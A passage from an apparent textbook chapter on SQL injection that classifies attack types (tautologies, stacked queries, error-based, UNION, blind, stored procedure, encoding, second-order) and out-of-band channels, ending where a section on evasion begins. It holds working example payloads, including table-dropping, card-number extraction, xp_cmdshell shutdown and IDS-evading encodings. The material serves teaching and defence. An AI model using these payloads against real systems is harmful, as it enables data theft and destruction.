Chapter 2

SQL Injection Attack

The basic mechanism of SQL injection attack was introduced in Chapter 1 with a simple motivating example. All web application receive external inputs through various channels, such as form fields, URL query string parameters, Cookies, and HTTP headers etc. SQL injection vulnerability exists in a web application when these inputs are used to construct dynamic SQL queries without proper validation or data type checking. This programming flaw gives the ability to an attacker to inject malicious SQL code through the inputs so as to change the syntactic and semantic structure of the dynamic query, forcing it to return a result set that the programmer did not originally intend. Using SQL injection attacks, the attacker can extract, modify, or damage the data in the backend databases.

Before attempting to develop solutions for prevention and detection of SQL injection attacks, it is necessary to understand the intricate details of various attack techniques and their consequences. This chapter delves into the implications of various types of SQL injection attacks and their technical details with appropriate examples. Relatively recent forms of attacks such as SQL smuggling, heavy-queries, overflow attacks, and out-of-band channels are also included in the discussion. Additionally, the common evasion techniques used by attackers to bypass IDS/IPS systems, and general countermeasures to prevent SQL injection attacks are also discussed.

2.1 Introduction

Though the basic mechanism of SQL injection attack is simple, the attack vectors can have various different forms and functions. Attackers can craft the malicious SQL injection code in many different ways depending on how they want the victim query to behave. Several other factors, such as presence of an IDS/WAF, configuration settings of the web server, the language & database platform of the web application, etc., also influence the construction of the attack vectors. Starting with the discovery of SQL injection vulnerability in a web application, full-fledged SQL injection attack session generally goes through a series of subsequent injections crafted for specific purposes, and concludes with stealing of all sensitive data in the backend database. In most cases, data breach is the primary intention of the attacker, however the data can also be damaged to cause serious losses to the business process that is dependent on the web application.

2.2 Types of SQL Injection Attack

SQL injection attacks have many different forms and functions depending on the sources, goals, SQL specific techniques, and platform configurations. The earliest formal classification of SQL injection attacks was presented by Halfond et al. [33], which was based on the injection mechanism and attack intent. Following their footprints, Sun et al. [34] proposed a more elaborate model of SQL injection attacks considering assets, threats, and countermeasures in an attempt to establish a semantic relationship between the different classes of attacks. The following sections discuss different types of SQL injection attacks following a classification that is universally accepted by the domain researchers. The classes are ordered based on the complexity of attack vectors and general sequence of real world attacks observed during the course of research.

2.2.1 Tautological Attacks

In logic, a *tautology* is a formula that evaluates to *true* in every possible interpretation. The main goal of a tautological SQL injection attack is to change the conditional in the `WHERE` clause of the dynamic SQL query so that it always evaluates to true irrespective of the original condition given by the programmer. The example given in Section 1.2.1 is a tautological attack because the injection vector "`OR 1 = 1`" forces the `WHERE` clause to evaluate to true. Tautological attacks are most commonly used for bypassing authentication and extracting data. Generally, by transforming the conditional of the `WHERE` clause into a tautology, the attacker causes all rows of the database table to be returned by the query, however the exact consequences of the attack depends on how the results of the dynamic query are used by the web application. Tautological attack vectors can be constructed in a variety of ways. For example, consider the following attack vectors:

```
OR 10 = 7 + 3
OR 10 = (SELECT 14/2) + 3
OR 'ABCDEF' = 'aBcDeF'
OR 419320 = 0x84B22 - b'1111001010010101 0'
OR ASCII('E') = ASCII('A') + 4
OR PI() > LOG10(EXP(2))
OR 'ABC' = CoNcAt('a', 'b', 'c')
OR 'abc' < cOnCaT('D', 'E', 'F')
OR 'DEF' = CoNcAt(ChAr(0x28 + 28), cHaR(0x45), chAr(83 - 0x0D))
OR 'XYZ' = sUbStRiNg(CoNcAt('a', 'BcX', 'Y', 'ZdEf'), 4, 3)
```

All of these expressions are tautological attacks because they always evaluate to true. Using SQL's flexible and case-insensitive syntax, other operators such as ^, `!=`,

%, /, *, &, &&, |, ||, », «, >=, <=, <>, <=>, XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN and many more, can be used to construct a tautology. Various mathematical, string-handling, logarithmic, and trigonometrical functions available in SQL can also be embedded in a tautological expression. For example, on MySQL 5.x versions, the following expression:

```
TRUE - MOD(LENGTH(LOWER(TRIM(CONCAT(CONV(FLOOR(PI()*VERSION()),
CEIL(PI()*PI()),CEIL(VERSION())*CEIL(VERSION())),CONV(CEIL(PI()*
PI()+PI()),CEIL(PI()*PI()),CEIL(VERSION())*CEIL(VERSION())),
CONV(CEIL(CEIL(PI())*VERSION()),CEIL(PI()*PI()),CEIL(VERSION())*
CEIL(VERSION())),CONV(CEIL(PI()*VERSION())+TRUE,CEIL(PI()*PI()),
CEIL(VERSION())*CEIL(VERSION())))))),LENGTH(LOWER(TRIM(CONCAT(
CONV(FLOOR(PI()*(VERSION()+PI())),CEIL(PI()*PI()),CEIL(VERSION())*
CEIL(VERSION())),CONV(CEIL(PI()*PI())+TRUE,CEIL(PI()*PI()),
CEIL(VERSION())*CEIL(VERSION())),CONV(FLOOR(VERSION()*VERSION()),
CEIL(PI()*PI()),CEIL(VERSION())*CEIL(VERSION())),CONV(CEIL(PI()*
VERSION())+TRUE,CEIL(PI()*PI()),CEIL(VERSION())*CEIL(VERSION())))))))
```

is amazingly a tautological expression! It may be observed that the expression does not use any digits at all, rather uses CEIL() and FLOOR() of values returned by the functions PI() and VERSION() to produce the numbers needed to constuct the tautology. The fundamental formula behind this complex expression is MOD(LENGTH(), LENGTH()), which will return zero if the strings given to the two LENGTH() functions are of same length. By deducting the result from TRUE, the final result is 1, which evaluates to true.

In fact, tautological attacks can be constructed in infinite number of ways. Therefore, it is impossible for any intrusion detection system to detect these attack vectors by regular-expression or pattern matching rule sets. Moreover, having too many rule-sets can quickly become a performance bottleneck.

2.2.2 Stacked Queries

In this type of attacks, the attacker injects an additional SQL query which gets appended to the original query. This is classified as a different type of attack because the attacker does not attempt to change the original query, but appends another query so that both queries can get executed by the DBMS as a batched query. For example, if the attacker inputs "badguy" in the Username field and "xyz'; dRoP tAbLe users --" into the Password field (see Fig. 1.4), the following query will be generated by the PHP code:

```
SELECT uid, fname, lname, email FROM users WHERE uname = 'badguy'
AND passwd = 'xyz'; dRoP tAbLe users --
```

The second query is appended to the original query by using the semi-colon, which is the query terminator in SQL. Both the queries are submitted to the database server to execute as a batch. The consequences are disastrous because the users table will get permanently deleted. This type of attack is also known as *piggy-backed* queries, because the second query piggy-backs over the first query.

Stacked queries are possible only when the database server supports batched execution of queries, such as PostgreSQL and Microsoft SQL Server. If batched queries are supported by the backend database server, the attacker can virtually append any type of SQL command and get them executed along with the original query. Fortunately, MySQL database server does not support batched queries, so PHP/MySQL applications are not vulnerable to this type of injection attacks.

2.2.3 Illegal or Logically Incorrect Queries

In this attack method, the attacker *intentionally* injects invalid keywords or parameters to make the resulting SQL query illegal or logically incorrect, so that it results in an error. The main agenda of the attacker is to gather information about the database server, database names, database user name, table names, column names, etc., from the error message(s) thrown by the database server. This type of SQL injection is actually a preliminary step for gaining insight into the structure of the backend database which can be used in further injection attacks. For example, if the attacker enters “badguy' ABCD” in the Username field, and “xyz” in the Password field, the error message that is displayed is:

```
Error Code: 1064
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near 'ABCD AND passwd = 'abcd' at line 1
```

From the error message, it is confirmed that the backend database server is MySQL. It is also revealed that the column name of the concerned table that stores the password of users is named as ‘passwd’. Suppose the attacker now inputs “badguy' ORDER BY 5 --” in the Username field and “xyz” in the password field as before, the error message that is output by MySQL server is:

```
Error Code: 1054
Unknown column '5' in 'order clause'
```

From the error message, the attacker can conclude that the query has less than five columns in its SELECT list. Thus, by intentionally crafting injection vectors to cause the resulting dynamic query to malfunction, the attacker gathers important initial information that are necessary to perform the subsequent attacks.

Generally in every software, the error messages are designed to help the programmers identify their mistakes so that they can debug the code, and in many cases they are overly descriptive. Database servers, being large and complex software, also follow the same principles for error reporting. Error-based SQL injection is leveraged by the descriptive nature of the messages which can reveal vital information about the database schema. Though the information contained in the error messages varies from one DBMS to another, they can be very useful for the attacker. For example, if the backend database is Microsoft SQL Server, and the attacker inputs "`badguy' HAVING 1=1 --`" into the Username field, the following error message would be displayed:

```
Microsoft OLE DB Provider for ODBC Drivers error 840e14
[Microsoft][ODBC SQL Server Driver][SQL Server]Column users.uid is
invalid in the select list because it is not contained in an
aggregate function and there is no GROUP BY clause.
/process_login.php, line 5
```

As it can be seen, the description of the error reveals three useful pieces of information: 1) the database server is Microsoft SQL Server (which the attacker probably did not know yet), 2) the name of the table is '`users`', and 3) the name of the first column in the `SELECT` list is '`uid`'. By varying the injection vector to repeatedly cause the same error, the names of all columns used in the query can be deduced.

In MySQL versions 5.5.5 or above, a recently discovered technique for illegal injections is to cause overflow of the `BIGINT` data type. Jayathissa, an independent security enthusiast, has neatly described in his blog how to perform illegal query based injections by causing `BIGINT` overflow in MySQL [35]. Similarly, MySQL's `EXP(x)` function (used to calculate e^x), can also be used for error based injection attacks [36]. Moreover, these error based attacks can harvest up to 27 data items in one injection.

Illegal or logically incorrect queries help the attacker through the error messages to gain insight into the database structure. An attacker can inject statements to provoke syntax errors, logical errors, or type conversion errors to identify injectable columns, determine the data types of columns, names of tables and columns that caused the error, respectively. These pieces of information collected from the description of error messages are then used to craft the subsequent attack vectors. The immediate solution to such leakage of schema information is to suppress the error messages from getting echoed back to the client. Most web application languages and database platforms provide configuration settings to disable error messages. It is highly recommended that error messages are disabled on production servers.

2.2.4 UNION based Attacks

In SQL, the `UNION` keyword is used to combine the result from multiple `SELECT` statements into a single result set. In `UNION`-based SQL injection attacks, the attacker injects an additional query using the `UNION` keyword to bring data from other tables or columns into the result set so that they can be displayed on the web page. For a `UNION` query to be valid, both queries must have the same number of columns of same data types. This information is previously collected by the attacker through error messages from illegal or incorrect query attacks. `UNION` queries can also be used to determine the number of columns in the `SELECT` list of the original query. For example, if the attacker enters "`badguy' UNION SELECT 1 FROM dual --`" into the Username field, then the resulting query becomes "`SELECT uid, fname, lname, email FROM users WHERE uname = 'badguy' UNION SELECT 1 FROM dual -- AND passwd = 'xyz'`". Since there are four columns in the `SELECT` list of the first query, it will cause the following error message:

```
Error Code: 1222
The used SELECT statements have a different number of columns
```

The attacker now changes the input to "`badguy' UNION SELECT 1,2 FROM dual --`" which causes the same error. Increasing the number of values in the `UNION` part, ultimately the input "`badguy' UNION SELECT 1,2,3,4 FROM dual --`" will not produce any error. Assuming that there is no registered person with the username `badguy`, the result of the query will be one row containing 1, 2, 3, 4 for the four columns, and these values may be displayed on the web page where the actual values were supposed to display. For example, the welcome message may change to "*Hello 2 3!*". From this the attacker infers that the second and third columns are used in the welcome message, which correlate to the first and last names of the logged on user. Now it becomes possible to get data from other database tables into the second and third columns and have them displayed on the web page. The attacker then injects the following through the Username field:

```
badguy' UNION SELECT 1, table_schema, table_name, 4
FROM information_schema.tables WHERE table_schema
NOT IN ('information_schema', 'mysql', 'test') LIMIT 1,1 --
```

When executed, the query will produce one row containing four values; suppose they are: `1`, `shopdb`, `brands`, `4`. The welcome message now changes to "*Hello shopdb brands!*". From this, the attacker gets that the name of a database existing on the server is '`shopdb`' and that it contains a table named '`brands`'. By gradually increasing the offset in the `LIMIT` clause, the attacker will harvest the names of all databases and tables present in the database server. Similarly, by `UNION`'ing data from other system catalog tables, the attacker can obtain the column names, data types, user accounts, permissions, and virtually the entire database structure. Once these are obtained, the data stored in the tables is easy to steal using the same `UNION` technique. For example, suppose there is a table '`orders`' in the database containing two columns '`cardnum`' and '`expdate`' which store the credit card numbers and their expiry dates. All the attacker needs to do is, modify the `UNION` query to the following:

```
badguy' UNION SELECT 1, cardnum, expdate, 4
FROM shopdb.orders LIMIT 1,1 --
```

In each injection, the attacker gets one credit card number along with its expiry date, in the same manner from the welcome message. By changing the LIMIT clause in each iteration, all the card numbers can be obtained. Overall, UNION based attacks are straightforward, easier to craft, quick to execute, and produce rewarding results for the attacker with much less effort.

2.2.5 Blind Injection Attacks

When the database error messages are suppressed, the attacker cannot gather the information needed for crafting the subsequent injection attacks. In other words, the attacker is blind in absence of any feedback from the server through error messages. In such a situation, the attacker injects SQL commands and observes if and when there is a change in response from the web page. By carefully relating the responses to the injection vectors, i.e., when the behavior remains same and when it changes, the attacker can make inferences about vulnerable parameters and additional information about the database structure. Therefore, blind injection attacks are also known as inference-based attacks. Since blind injection attacks rely on the correlation between the attack vector and behavior or response of the web page, it is much slower than UNION-based attacks. Nevertheless, it is possible to achieve an extraction rate of about 1 byte per second by issuing multiple requests to the web appilcation in parallel [13].

To exemplify blind injection attacks, consider an e-commerce website which displays the details of a selected product on a web page that is accessed by the following URL:

```
http://www.estore.com/product_details.php?pid=24
```

Suppose in the script product_details.php, the URL parameter pid is used to retrieve the details of the product by the following PHP code:

```
$query = "SELECT * FROM products WHERE prod_id = ".$_GET['pid'];
$result = mysql_query($query, $dbconn);
```

It may be observed that the value of pid coming through the URL is used for constructing the query without any validation or type checking, therefore it is vulnerable to SQL injection. If error messages are not suppressed on the server, the attacker could simply add a single-quote (') character to the URL as shown below:

```
http://www.estore.com/product_details.php?pid='24
```

This would cause a syntax error in the SQL query generated by the PHP code. Since error messages are not suppressed, MySQL would output the following error message:

```
Error Code: 1064
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near "'24" at line 1
```

From the error message, the attacker could conclude that the URL parameter `pid` is vulnerable to SQL injection. However, since error messages are suppressed, the attacker has no direct clue to make this conclusion. In such cases, the attacker resorts to blind injection attacks to make inferences and extract data. There are three fundamental techniques of blind injection attacks: boolean-based, time-based, and heavy queries.

Boolean-based Blind Attacks

In boolean based blind injection, the attacker crafts the attack vectors to ask the server true/false questions. When the answer is true, the web page is displayed normally, but when the answer is false, the display of the page changes significantly. By observing the behavior of the web page the attacker first infers about the vulnerable parameters, and then crafts the next set of true/false questions to extract the database structure byte by byte. Consider the URL of the product details page shown in Section 2.2.5. Since error messages are suppressed, the attacker first attempts to access the following URL:

```
http://www.estore.com/product_details.php?pid=24+AND+1+=+1
```

Each '+' sign in the query string is the url-encoded form of a space character. Therefore, the parameter `pid` now carries the string value "24 AND 1 = 1". Since the code directly uses the parameter's value to construct the dynamic query without any validation, the SQL query would be generated as:

```
SELECT * FROM products WHERE prod_id = 24 AND 1 = 1;
```

The added condition "`AND 1 = 1`" evaluates to true, therefore the query returns the details of the selected product and the web page would display normally. Now the attacker forces the condition to false by accessing the following URL:

```
http://www.estore.com/product_details.php?pid=24+AND+1+=+2
```

The added condition "`AND 1 = 2`" evaluates to false, therefore the entire query evaluates to false and no records are returned. This causes the web page to become mostly blank. This is a significant change in the response, from which the attacker confirms that the parameter pid is vulnerable to SQL injection. Once the vulnerable parameter is determined, the attacker proceeds to extract the database structure by asking further true/false questions and observing the behavior of the response. For example, the attacker can append the following subquery to the query string (after ?pid=24) in the URL :

```
AND (SELECT 97 = ASCII(SUBSTRING(table_name, 1, 1))
FROM information_schema.tables WHERE table_schema
NOT IN ('information_schema', 'mysql', 'test') LIMIT 1,1)
```

and observe the response. If the web page displays correctly, then it means that the answer of the server to the added subquery is true, which in turn implies that ASCII code of the first character of a table name is equal to 97. Therefore, from this injection attempt the attacker concludes that, the name of a table starts with the character 'a'. Thus by changing the values for the ASCII code, substring offset, and the limit clause, the attacker extracts the names of all other tables character by character. The column names are obtained in a similar manner, and finally the data is extracted from the tables one byte at a time. It may be noted here that no data is actually displayed on the web page, but the entire information is deduced by making inferences from the response of the web server.

Time-based Blind Attacks

Boolean-based blind injection attacks require a large number of requests to be submitted to the web server because the data must be extracted one byte at a time. In some cases, production web servers are configured to limit the maximum number of requests per minute from the same source. Even when such a restriction is not imposed, too many requests from one source within a small interval of time may be noticed by a proactive server administrator during auditing of web server logs, and the administrator may blacklist the IP address of the attacker. Under such situations, the attacker resorts to another form of inference by crafting the attack with if/then constructs with time delays within them. Instead of observing the difference caused in the web page, the attacker measures the time it takes for the response to arrive, from which conclusions can be made. Most database servers provide special keywords for pausing execution of a query. For example, on MySQL, the SLEEP(n) function can be used to pause execution of the query for n seconds. On Microsoft SQL Server, the same functionality is provided by WAITFOR DELAY 'hh:mm:ss' and WAITFOR TIME 'hh:mm:ss' statements. Basically, a time-based blind injection attack is constructed in the form "if <condition> then <sleep for m seconds>. By measuring the time it takes for the web server to respond, the attacker infers whether the question was answered as true or false. Attackers generally use random values for the delay in each request.

Consider the URL of the product details page mentioned in Section 2.2.5. In order to determine if the query string parameter pid is vulnerable, the attacker will access the page using the following URL:

```
http://www.estore.com/product_details.php?pid=24 - SLEEP(10)
```

The parameter pid will carry the string value "24 - SLEEP(10)" which will be used to construct the query. The query that will be generated by the PHP code is:

```
SELECT * FROM products WHERE prod_id = 24 - SLEEP(10)
```

Upon execution, the call to SLEEP() function will cause the query to halt for 10 seconds. When the SLEEP(10) function completes successfully, it will return zero, so the product id will remain same as 24. Therefore, the same web page will be returned by the server, but after a delay of 10 seconds. It is then confirmed that the parameter pid is vulnerable to SQL injection. Now the attacker can craft further attacks using the same technique of introducing a delay inside the injection vector. For example, to determine if the name of the first table in the system catalog starts with 'a', the attacker will inject the following:

```
AND (IF(SELECT ASCII(SUBSTRING(table_name, 1, 1))
FROM information_schema.tables WHERE table_schema
NOT IN ('information_schema', 'mysql', 'test')
LIMIT 1,1) = 97) SLEEP(10))
```

If the answer is true, then the page load will be delayed by 10 seconds; otherwise it will load normally. Thus, by measuring the time taken by the web server to respond, the attacker makes inferences about the information. Since delays are used in every attack, the requests will be spread over long periods of time, which reduces the chance of being spotted in server logs by the server administrator.

Heavy Query Attacks

In some cases, the database administrator may disable or restrict usage of the time-delay functions in SQL queries, such as SLEEP() or WAITFOR DELAY etc., if submitted by non-administrative users. Under such situations, the attacker can still simulate time delays by using heavy queries inside the attack. A heavy query is a query which is expensive and will take noticeable time to execute on the database engine. Particularly, queries on some system catalog tables are known to take long time to execute. By incorporating multiple joins between such system tables, the attack vector can be made even heavier. For this purpose, the attacker chooses system tables which are known to contain large number of rows. For example, on a MySQL server (version 5.5.25) with only few databases, the following query:

```
SELECT count(*) FROM information_schema.columns A,
information_schema.columns B, information_schema.columns C
```

takes ≃23 seconds to complete, making it equivalent to a `SLEEP(23)` function call. It may be observed that the query implicitly joins the `information_schema.columns` table with itself three times without a `WHERE` clause, which makes it quite heavy. However, the time to execute a heavy query can vary significantly depending on the number of rows contained in the chosen table, which in turn is influenced by factors like size of the database, the server's performance, etc. Therefore, the attacker generally begins with joining two tables and then slowly increments until an acceptable delay is generated. Once such a heavy query is formulated and its time of execution on the victim server is measured, it can be used instead of `SLEEP()` calls in subsequent attacks. Heavy query attacks are relatively a new form of SQL injection in comparison to other types, and can severely affect the performance of the server. On MySQL server, heavy query attacks can be spotted during auditing if logging of slow queries[1] is enabled by the DBA.

2.2.6 Stored Procedure Attacks

A stored procedure is a set of SQL queries with an assigned name that's stored in compiled form in the database server. Stored procedures separate complex business logic from the application code, generally take parameters, perform SQL queries according to the business logic, and return the results to the web application. Many programmers believe that by moving the database queries into stored procedures, the web application would become resistant to SQL injection attacks, however this is a misconception. Stored procedures can be equally vulnerable to SQL injection attack as the web application, particularly when the queries are dynamically constructed inside the procedure using string (`VARCHAR`) type of parameter(s) passed to it. Attackers target stored procedures for privilege escalation, buffer overflows, and gaining access to the operating system. The attack methodologies are exactly same, except that the victim is a stored procedure instead of a query on a web page. For example, consider the following stored procedure which accepts the username and password as parameters to verify the login of a user:

```
CREATE PROCEDURE verify_login
  (username VARCHAR(255),
   password VARCHAR(255))
  BEGIN
    SET @qry = CONCAT("SELECT uid,fname,lname,email FROM users",
      " WHERE uid = '", username, "' AND passwd = '", password, "'");
    PREPARE stmt FROM @qry;
    EXECUTE stmt;
  END
```

[1]`https://dev.mysql.com/doc/refman/5.5/en/slow-query-log.html`

The code of the stored procedure constructs the SQL query dynamically by concatenating the values passed through the parameters. Therefore, it is vulnerable to SQL injection attacks in the same way. A vulnerable stored procedure can be exploited using the different types of injection attacks.

Another common intention of attackers is to access some special built-in stored procedures provided by the database vendors. For example, Microsoft SQL Server provides several system procedures for performing server maintenance tasks. One such notorious system procedure is the 'xp_cmdshell' which provides a command line shell to execute any system command from within the stored procedure. An attacker can even shut down a server by injecting a piggy-backed query like "`;EXEC xp_cmdshell 'SHUTDOWN'`". Stored procedures like `xp_getfiledetails`, `xp_fileexist`, `xp_dirtree` are a few other important system stored procedures that attackers target on MSSQL Server. MySQL database server on the other hand, does not provide any built-in system stored procedures, but the DBA may create them for server administration.

2.2.7 Alternate Encoding Attacks

In this type of attack, the attacker modifies the attack vector using a different encoding method so that it can evade detection by intrusion detection systems or circumvent sanitization functions. Alternate encoding is not a unique type of attack, rather it is a technique used in conjunction with other types of attacks in order to evade detection. Generally, sanitization functions look for presence of special characters such as single-quotes or comment characters. Encoding these characters differently in the injection vector enables the attacker to exploit the vulnerability which may not be possible by direct methods.

Attackers employ various types of encoding techniques in their injection vectors, such as, ASCII, hexadecimal, binary, and unicode encoding. All database servers provide built-in conversion functions for different encodings. In ASCII encoding, instead of the characters, their ASCII codes are used with the `CHAR()` function for its decoding. For example, `CHAR(79,82,32,49,32,61,32,49)` in MySQL is the ASCII encoded form of "`OR 1 = 1`". The ASCII codes can also be given in hexadecimal form. Sometimes other functions are also used in conjunction to make the encoding more complex. For example, "`SHUTDOWN`" can be encoded using the hexadecimal codes of each character as `CONCAT(CHAR(0x53485554), CHAR(0x444F574E))`. Similarly, "`OR 1 = 1`" can be encoded as `CONCAT_WS(CHAR(0x20), CHAR(0x4F, 0x52), CHAR(0x31), CHAR(0x3D), CHAR(0x31))`. Other functions such as `HEX()`, `UNHEX()`, `BIN()`, `SUBSTRING()`, `LEFT()`, `RIGHT()`, `TRIM()`, etc., are also frequently used to construct the encoded strings of the attack in a complex manner so that detection systems can be bypassed.

A contributing factor to the encoding problem is that, different layers in application may handle the character encodings in different ways. In particular, escape characters in the language used for programming the application may be different from escape characters in the database server. For example, in PHP single-quote character is escaped by "`\'`", while in MySQL it can be escaped by both "`\'`" and "`''`" (two single quotes). Therefore, code-based approaches are generally defenseless against alternate encoding attacks. Such differences in the escape sequences can be exploited by the attacker to ship an unwanted character into the database layer.

SQL Smuggling is another encoding method that exploits weaknesses in character-set conversions using special Unicode characters [37]. The technique mainly relies on differences between contextual interpretation of the Unicode characters by the application platform and the database server. There are numerous Unicode characters that are "similar" to other characters in the ASCII base character set – these are known as *homoglyphs*. Most database servers support automatic translation between supported code pages. For example, a Unicode value may be automatically converted to a different character in the local character set, according to a "best fit" heuristic, even if these characters are not computationally equivalent. Since such translation is performed by the database, the sanitization or filter routines may fail to recognize these special characters, but they will be *created* as a result of translation by the database server. One such Unicode character is the `U+02BC` (modifier letter apostrophe) which gets translated to a simple single quote (`U+0027`) as the best-fit, i.e., the single quote character is created by the database server. In consequence, the attacker successfully smuggles the single quote character (which did not even exist during input validation) into the database, which makes it possible for the injection vectors to execute as usual. Since there are a large number of homoglyphs, it is nearly impossible to check for all such translations which might enable smuggling of unwanted characters into the database server.

2.2.8 Second-order Injection Attacks

The types of SQL injection attacks discussed so far, the injected queries execute immediately and produce results according to the intention of the attacker. However, it is possible inject malicious SQL code which is stored in the database like normal data, but gets executed at a later point of time when that data is used to construct another dynamic SQL query and the result is rendered on the web page. This type of SQL injection attack is classified under a separate category and known as second-order SQL injection attack [38]. Unlike regular (first-order) injection attacks which reach the database mostly through `SELECT` queries, second order SQL injection attack is initiated through `INSERT` queries. The attacker submits inputs containing SQL code through form fields. These inputs silently gets stored in the database as any other piece of data. When some other part of the web application uses that stored value in a dynamic query, the injected code takes effect and modifies the structure of that dynamic query. Performing a second order SQL injection attack requires the attacker to have adequate knowledge about how the submitted values are used in other parts of the web application.

Consider a registration form on a web page where the user registers by supplying username, password, and other details. Suppose an attacker enters "`badguy' OR user_name LIKE '%%' -`" in the username field and normal values in other required fields. Assuming that the input validation routine properly escapes the single quote character in username, it will be stored in the database as "`badguy\' OR user_name LIKE \'%%\' --`", which is correct according to the escaping rules.

Now the attacker logs in and goes to the "Change Password" page where it asks to enter the old password, and a new password. The web application would construct a dynamic query to update the password using the logged-on user's username which is already stored in the session variable as:

```
$sql = "UPDATE users SET password = '".$_POST['newpass']."'"
      ." WHERE user_name = '".$_SESSION['sess_uname']."'"
      ." AND password = '".$_POST['oldpass']."'"
```

The query that would be generated from the above code would be:

```
UPDATE users SET password = 'IamHacker' WHERE user_name = 'badguy'
OR user_name LIKE '%%' -- ' AND password = 'xyz'}''
```

It may be observed that, the single quote character in the username (which was added by the attacker during registering on the website) terminates the value of user name column, the "`OR user_name LIKE '%%'`" attack vector is true for all records, and the double-dash at the end of the username effectively comments out rest of the query. When this query is executed, the password of all users (including admin users) will get changed to `IamHacker`. Consequently, no other user would be able to log into the web application while the attacker can log in using any user's account and do whatever he wants with the data of the web application.

Second-order injection attacks are difficult to prevent or detect because the source of injection is different from the place where the effect of the attack actually manifests. This shows that, even if a developer properly escapes single quotes from the user inputs, it cannot be assumed to be safe against second order injection attacks. When the stored data containing the injection vector is used in a different context, or to construct a dynamic query, the validated inputs may still result in an injection attack.

2.3 SQL Injection Channels

Until this point, the SQL injection attack techniques have been discussed around the HTTP protocol for launching the attacks against a web application. However, there are other classes of SQL injection attacks which can happen through different channels. Depending on the channel through which the attacks occur and data is extracted, SQL injection attacks are classified as *in-band* or *out-of-band* attacks. Some security experts [39] suggest a third class as *inferential*, but essentially these attacks can be launched through both in-band and out-of-band channels.

2.3.1 In-Band Channels

In in-band SQL injection, the attacks and subsequent extraction of data occur through the same communication channel between the client and the web server. In-band attacks are also known as *in-line* injection attacks. For example, attacks are launched on vulnerable web pages using HTTP protocol. Data is extracted through the same channel as the results of the attack are embedded in the HTML response from the web application. The injection attacks discussed so far, such as tautological attacks, `UNION`-based attacks, etc., all fall into this class. The client is assumed to be a browser for most cases, but it can also be a program, tool, or process that can establish HTTP connection with the web server, initiate the malicious HTTP requests (GET or POST), and parse the response HTML to extract the data embedded therein. It may be noted here that, special markers are generally used around extracted data, so that these can be programmatically parsed out from the HTML.

Apart from user inputs through form field values or URL parameters, in-band SQL injections can also happen through Cookies, other HTTP headers, and Server variables, if their values are used to construct dynamic SQL queries by the server-side code without proper validation and data type checking.

2.3.2 Out-of-Band Channels

Out-of-band injection attacks employ a different communication channel to steal the data than the channel through which the attack was launched, such as using database e-mail functionality, or file writing and loading functions. Out-of-band SQL injection is not very common, because it depends on the specific additional features enabled on the database server, possibly for use by the web application. This class of SQL injection is useful when an attacker is unable to use the same channel to launch the attack and gather results. Out-of-band techniques offer the attacker an alternative to time-based or heavy-query based blind attacks, particularly when the responses from the server are not stable enough to make inferences from the response time.

Out-of-band techniques consist of using special features and DBMS functions to open a different connection to the attacker's server and deliver the results of the injected query as part of the request. This is leveraged by the fact that most modern DBMSs are very powerful applications, and offer features which go beyond simply executing user queries and return the results. For example, information residing on another database, can be retrieved by opening a connection to that database within an SQL query. SQL queries can send an e-mail when a specific event occurs, and can also interact with the file system. When exploiting a vulnerability is not possible through normal in-band HTTP channels, these advanced features can be very helpful to the attacker. Usually, such functionality is available only to admin users, but an attacker can escalate privilege through other means. The three main out-of-band channels that can be used for siphoning of results of SQL injection attacks are: Email, HTTP/DNS, and File System functions, which are briefly discussed here.

Email Functions

On Microsoft SQL Server, email functionality is available through the system stored procedure `xp_sendmail` that uses the Messaging Application Programming Interface (MAPI), or the `sp_send_dbmail` procedure that uses Simple Mail Transfer Protocol (SMTP). Similarly, on Oracle, emails can be sent using the `UTL_SMTP` package (version 8i), or the `UTL_MAIL` package (version 10g). MySQL database server does not provide a direct email sending function. However, the attacker can construct the email message in plain-text, write that into a file using the `INTO OUTFILE` clause of the query, and drop that file in the SMTP server's pick-up directory. For PostgreSQL, there are third-party procedures such as *pgMail*[2] by BrandoLabs, which might have been already installed on the server. When the attacker cannot extract data using the in-band channels, he can email the results to himself using such email features provided by the database server.

HTTP/DNS

Database servers also provide functions to open HTTP connections inside an SQL query to another server. This functionality can be used as an out-of-band channel for getting the result of injection directly sent to the attacker's server. In Microsoft SQL Server, the `OPENROWSET` function can open a connection to an external database server, which can be used as an out-of-band channel. Similarly in MySQL, the `LOAD_FILE` function and `INTO OUTFILE` directive can be used. Oracle provides `UTL_HTTP`, `HTTPURI_TYPE`, `UTL_INADDR`, and `SYS.DBMS_LDAP` packages/functions for opening connections to external hosts from an SQL query. Additionally, these type of functions can be used to provoke a DNS resolution request to the attacker's server. The attacker can harvest several bytes of data through each DNS resolution request if the injection vector is written inside the URI. An interesting investigation by Štampar [40] shows that DNS based out-of-band attacks can extract data from a regular sized database table in only 4.8% number of requests and 16.5% time in comparison to boolean-based blind injection attacks.

File System Functions

In many cases, the web server and database server are installed on the same physical host. This is commonly seen on shared hosting servers. While this is very cost-effective, it suffers from the serious security drawback that, a single flaw on one web application can be enough for an attacker to obtain full control over all the components of the server. The attacker can also escalate privileges to be able to create files inside the web server root and redirect the results of the attack into those files. Accessing the extracted data is then a matter of downloading them through a normal HTTP connection. If the

[2]http://brandolabs.com/pgmail

web server and the database server are on separate physical machines, it might still be possible to apply this technique if authorized shared folders have been set up between the two hosts.

On Microsoft SQL Server, the `sp_OACreate` and `sp_OAMethod` procedures can be used to create files and write into them. If the `xp_cmdshell` stored procedure is accessible, then the attacker can also use the `bcp` bulk-copy utility to write huge amount of data into the file. Similarly on MySQL, the `INTO OUTFILE` can be used to redirect results into files created in the file system. On Oracle, `UTL_FILE`, `DBMS_LOB` etc., can be used for the same purpose.

2.4 Common Evasion Techniques

Many organizations deploy intrusion prevention/detection systems (IPS/IDS), web application firewalls (WAF) etc., to protect their web infrastructure from SQL injection attacks. These systems are mostly signature-based and rely on regular-expression based rule sets to filter out malicious requests. However, signature-based techniques are not effective in real-world attacks. There are numerous techniques to craft the injection vectors so that they can bypass signature-based SQL injection detection systems [41, 42]. These techniques take advantage of innate weakness of rule-based systems. Similarly, all WAF's can be circumvented by applying workarounds in the attack vectors [43]. One of the reasons why SQL injection is still alive is that, in spite of IDS/WAF systems deployed as perimeter security, attackers come up with techniques to evade them [44]. Warneck [45] has suggested methods to defeat IDS evasion, but still bypassing IDS/WAF does not seem to be too difficult for the creative attacker. To establish a comprehensive picture of SQL injection attacks, the common bypassing techniques also need to be understood.

2.4.1 White-space Spreading

